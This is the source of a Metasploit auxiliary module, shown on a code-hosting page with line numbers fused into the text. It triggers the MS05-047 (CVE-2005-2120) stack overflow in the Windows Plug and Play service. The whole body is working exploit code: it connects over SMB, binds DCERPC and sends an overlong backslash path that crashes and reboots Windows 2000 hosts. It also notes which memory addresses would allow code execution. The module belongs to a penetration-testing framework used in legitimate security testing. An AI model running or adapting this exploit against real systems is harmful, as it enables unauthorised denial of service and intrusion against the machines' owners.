Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb
Views: 11789
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::DCERPC7include Msf::Exploit::Remote::SMB::Client8include Msf::Auxiliary::Dos910def initialize(info = {})11super(update_info(info,12'Name' => 'Microsoft Plug and Play Service Registry Overflow',13'Description' => %q{14This module triggers a stack buffer overflow in the Windows Plug15and Play service. This vulnerability can be exploited on16Windows 2000 without a valid user account. Since the PnP17service runs inside the service.exe process, this module18will result in a forced reboot on Windows 2000. Obtaining19code execution is possible if user-controlled memory can20be placed at 0x00000030, 0x0030005C, or 0x005C005C.21},22'Author' => [ 'hdm' ],23'License' => MSF_LICENSE,24'References' =>25[26[ 'CVE', '2005-2120' ],27[ 'MSB', 'MS05-047' ],28[ 'BID', '15065' ],29[ 'OSVDB', '18830' ]30]31))3233register_options(34[35OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),36])37end3839=begin4041/* Function 0x0a at 0x767a54a8 */42long function_0a (43[in] [unique] [string] wchar_t * arg_00,44[out] [size_is(*arg_02)] [length_is(*arg_02)] wchar_t * arg_01,45[in,out] long * arg_02,46[in] long arg_0347);4849=end5051def run5253# Determine which pipe to use54pipe = datastore['SMBPIPE']5556print_status("Connecting to the SMB service...")57connect()58smb_login()596061# Results of testing on Windows 2000 SP062# 324 / 325 exception handled63# 326 write to 064# 327 jump to 0000003065# 328 jump to 0030005C66# 329 jump to 005C005C6768# Completely smash the process stack69i = 10247071handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])72print_status("Binding to #{handle} ...")73dcerpc_bind(handle)74print_status("Bound to #{handle} ...")7576path = "HTREE\\ROOT" + ("\\" * i)7778# 0 = nil, 1 = enum, 2/3 = services, 4 = enum (currentcontrolset|caps)7980stubdata =81NDR.long(rand(0xffffffff)) +82NDR.wstring(path) +83NDR.long(4) +84NDR.long(1) +8586print_status("Calling the vulnerable function...")8788begin89dcerpc.call(0x0a, stubdata)90rescue Rex::Proto::DCERPC::Exceptions::NoResponse91print_good('Server did not respond, this is expected')92rescue ::Errno::ECONNRESET93print_good('Connection reset by peer (possible success)')94rescue => e95if e.to_s =~ /STATUS_PIPE_DISCONNECTED/96print_good('Server disconnected, this is expected')97else98raise e99end100end101102disconnect103end104end105106107